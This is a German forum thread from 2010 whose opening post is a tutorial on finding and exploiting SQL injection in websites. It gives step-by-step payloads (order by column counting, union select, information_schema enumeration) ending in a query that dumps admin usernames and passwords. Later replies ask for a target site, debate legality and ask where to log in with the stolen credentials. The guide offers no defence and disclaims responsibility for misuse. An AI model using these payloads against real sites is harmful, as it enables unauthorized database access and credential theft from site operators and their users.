[Guide] Prüfen ob eine Seite per SQL Injection angreifbar ist.

10/23/2010 10:34 .Kia.#1
Achtung: Ich übernehme in keinster Weise Verantwortung dafür wenn ihr durch diesen Guide bei irgentwelchen Seiten was anstellt.

1) Um zu prüfen ob eine Seite per SQL Injection angreifbar ist müsst ihr einen Link finden der so aussieht:
Quote:
[Only registered and activated users can see links. Click Here To Register...]=1
Die Seite braucht ganz einfach nur ein = in den URL.
Bei der URL schreibt ihr noch ein ' dahinter, Bsp.:
Quote:
[Only registered and activated users can see links. Click Here To Register...]'
Wenn die Seite bzw. die Datenbank angreifbar ist, kriegt ihr eine MySQL Fehlermeldung so wie diese:
Quote:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29
Wenn die Seite aber normal geladen wird, heißt das das die Seite nicht über diese Methode angreifbar ist.

2) Nun müssen wir rausfinden wie viele "Reihen" in der Datenbank sind, dafür benutzen wir den "order by" Command. Dafür schreiben wir einfach "order by 1--", "order by 2--" hinter die URL, und zwar solange bis ihr einen Seitenfehler erhaltet, Bsp. :
Quote:
[Only registered and activated users can see links. Click Here To Register...] order by 1--
[Only registered and activated users can see links. Click Here To Register...] order by 2--
[Only registered and activated users can see links. Click Here To Register...] order by 3--
[Only registered and activated users can see links. Click Here To Register...] order by 4--
[Only registered and activated users can see links. Click Here To Register...] order by 5--
Wenn wir beispielsweise bei "order by 5--" einen Fehler bekommen, heißt das, das die Datenbank, 4 "Reihen" hat.

3) Nun benutzen wir den "union" Command um zu sehen welchen Reihen angreifbar sind, dazu schreiben wir hinter die URL,
Quote:
union all select (Anzahl der Reihen)--,
Beispiel:
Quote:
[Only registered and activated users can see links. Click Here To Register...] union all select 1,2,3,4--
Wenn die Seite geladen hat, solltet ihr irgentwo auf der Seite Zahlen sehen, z.b. 2 und 3, das heißt, die Reihen 2 und 3 sind angreifbar.

4) Jetzt müssen wir die MySQL Version, User und Datenbank finden, das machen wir mit den folgenden Commands:
Quote:
user()
database()
version()
oder
Quote:
@@user
@@version
@@database
Das würde dann beispielsweise so aussehen:
Quote:
[Only registered and activated users can see links. Click Here To Register...] union all select 1,user(),version(),4--
Wenn die Seite geladen hatt sehen wir dann die Version, den MySQL User und den Namen der Datenbank.

5) Nun ist es unser Ziel alle Reihennamen zu erfahren, das machen wir mit dem folgenden Command:
Quote:
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
Die URL sieht dann so aus:
Quote:
[Only registered and activated users can see links. Click Here To Register...] UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
table_name müsst ihr mit dem Namen der Reihe ersetzen die angreifbar ist.

6) Nun wollen wir die Tabellenamen haben, das machen wir mit folgenden Command:
Quote:
union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
Die URL sieht dann so aus:
Quote:
[Only registered and activated users can see links. Click Here To Register...] union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
7) Zu letzt wollen wir das die Seite den Inhalt ausspuckt, z.B. von "username" und "password" von "admin", dazu haben wir diesen Command:
Quote:
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
Die URL sieht dann so aus:
Quote:
[Only registered and activated users can see links. Click Here To Register...] union all select 1,2,group_concat(username,0x3a,password),4 from admin--
Falls ihr alles richtig gemacht habt, solltet ihr die Daten des Admins sehen (je nach Seite kommt das PW in MD5 raus).

Ich hoffe euch hatt mein TuT gefallen.


Gruß Kia
10/23/2010 12:31 .SaFe#2
danke^^ kannst du mir eine seite geben , wo ich es testen kann?
10/23/2010 13:33 .Kia.#3
Kenn leider keine :/

EDIT:

Hier: [Only registered and activated users can see links. Click Here To Register...]
10/23/2010 16:58 .SaFe#4
da kommt internal server rror.. hmm hast ICQ?
10/23/2010 17:41 gallexme#5
ist eh illegal von dem her
10/23/2010 18:26 .Kia.#6
Da soll ja auch en Error kommen, les es dir nochmal gut durch, Support gebe ich keinen.
10/23/2010 19:29 .SaFe#7
ja da kommt kein error :D nur 404... warum gibst keinen support?=O hab noch mehr fragen xD
10/24/2010 16:12 Jonni8#8
An sich zwar ganz gut gemacht, aber ich konnte dem irgentwie nicht ganz folgen...
Screens? :)
-> kannst ja URL und alles andere informative unkenntlich machen ;)
->> nur eben das man sieht wie die Seite inhaltlich aussehen soll.
10/28/2010 20:14 Vizon#9
Befasst euch erstmal mit HTML/PHP/MySQL bevor ihr euch an sowas ranwagt, sonst versteht ihr den ganzen Ablauf und Aufbau null.
10/28/2010 20:18 HighLvleR#10
Das ist SQL Injection und nicht legal oder?
Man greifft auf Daten zu auf die man kein Recht hat.
10/28/2010 20:29 Vizon#11
Code:
SQL-Injections sind Lücken, welche bei unsicheren Datenbankabfragen entstehen können.
Der Bentuzer kann bei einem solchen Bug, selber den entsprechenden SQL
Code in die schon bestehende Abfrage injizieren. So könnte er sich z.B. die
enthaltenen User ausgeben lassen, welche bei der Authentifizierung benötigt werden.
Erklärt alles oder?
10/28/2010 20:32 angelboter12#12
SQLi ist illegal. ausser natürlich ihr machts bei euren eigenen seiten
10/28/2010 21:21 Vizon#13
Hinzu kommt, dass das Tutorial recht "lasch" geschrieben ist.

Hättest mehr auf die "befehle" eingehen können und evtl. noch schreiben sollen, wie man sich dagegen schützen kann.
10/28/2010 21:56 PinkHacker#14
Und wo kann man sich dann mit den Daten einloggen?
10/28/2010 22:13 Vizon#15
Auf der jeweiligen Seite?